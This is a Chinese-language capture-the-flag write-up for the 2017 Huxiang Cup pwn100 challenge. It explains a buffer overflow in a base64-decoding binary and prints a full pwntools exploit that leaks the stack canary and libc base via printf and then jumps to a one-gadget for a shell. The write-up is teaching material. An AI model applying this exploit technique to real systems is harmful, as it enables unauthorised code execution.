2017湖湘杯pwn100的wp
来源:互联网 发布:php跳转域名 编辑:程序博客网 时间:2024/06/05 02:07
湖湘杯的pwn比赛很有趣,我做了pwns100的题目,感觉不错,我把wp分享出来,pwns的下载链接是:http://download.csdn.net/download/niexinming/10139497
把pwns100直接拖入ida中:
main函数:
base64解码函数
输入函数
可以看到read可以输入的字符串可以长达0x200个,这里可造成缓冲区溢出漏洞
这个程序很简单,输入base64字符串输出base64解码之后的字符串
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
因为这个程序开了Canary,这个题目的要利用printf泄露这个程序中的Canary,然后再泄露libc的基地址,最后利用溢出重新布置栈空间getshell,因为每次fork,子进程复制父进程的数据空间(数据段)、栈和堆,父、子进程共享正文段。也就是说,对于程序中的数据,子进程要复制一份,但是对于指令,子进程并不复制而是和父进程共享,具体可参考https://www.cnblogs.com/bwangel23/p/4190043.html这个文章,所以虽然在泄露Canary或者libc的时候使子进程崩溃了,但是不会影响父进程的稳定性
所以我的exp是
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import base64context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x08048B09'): raw_input('debug:') gdb.attach(io, "b *" + addr)local_MAGIC = 0x0003AC69io = process('/home/h11p/hackme/huxiangbei/pwns')#io = remote('104.224.169.128', 18887)#debug()#getCanarypayload = 'a'*0x102io.recvuntil('May be I can know if you give me some data[Y/N]\n')io.sendline('Y')io.recvuntil('Give me some datas:\n')io.send(base64.b64encode(payload))io.recvline()myCanary=io.recv()[268:271]Canary="\x00"+myCanaryprint "Canary:"+hex(u32(Canary))#getlibc#debug()payload = 'a'*0x151io.recvuntil('May be I can know if you give me some data[Y/N]\n')io.sendline('Y')io.recvuntil('Give me some datas:\n')io.send(base64.b64encode(payload))io.recvline()mylibc=io.recv()[347:351]base_libc=u32(mylibc)-0x18637print "mylibc_addr:"+hex(base_libc)#pwn#debug()MAGIC_addr=local_MAGIC+base_libcpayload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)io.recvuntil('May be I can know if you give me some data[Y/N]\n')io.sendline('Y')io.recvuntil('Give me some datas:\n')io.send(base64.b64encode(payload))io.interactive()io.close()
我讲解一下如何获取Canary,因为输入的输入数据会被printf输出,遇到0x00的时候停止输出,如果输入的输入刚刚好覆盖到Canary前面就可以用printf输出Canary了,但是Canary后两位是0x00,所以得到输出之后要补足后两位的0x00
同理也可以用这种方法计算出__libc_start_main和libc的基地址
计算出Canary的值和基地址后,就可以通过溢出让程序程序跳转到MAGIC去了,就可以getshell了,至于MAGIC是啥,大家可以翻一下我以前写的文章:http://blog.csdn.net/niexinming/article/details/78512274
最后的效果是:
- 2017湖湘杯pwn100的wp
- 2017年湖湘杯复赛 pwn100-writeup
- 2017湖湘杯pwn200的wp
- 2017湖湘杯pwn300的wp
- 湖湘杯pwn400的wp
- pwn100 ssp
- SniperOJ pwn100-bof writeup
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- onepunch的wp
- 记录安装caffe遇到的两个问题
- JavaError
- 类对栈实现的封装
- 半同步复制,从库的日常管理和错误处理
- Python Dict
- 2017湖湘杯pwn100的wp
- 安装高版本VS后如何默认用VS2008打开.sln文件
- C随笔
- 【Scikit-Learn 中文文档】双聚类
- HTML音频
- python运算符
- Two-Phase Termination
- Java volatile关键字解惑
- tensorflow学习笔记(一)——tensorflow基本使用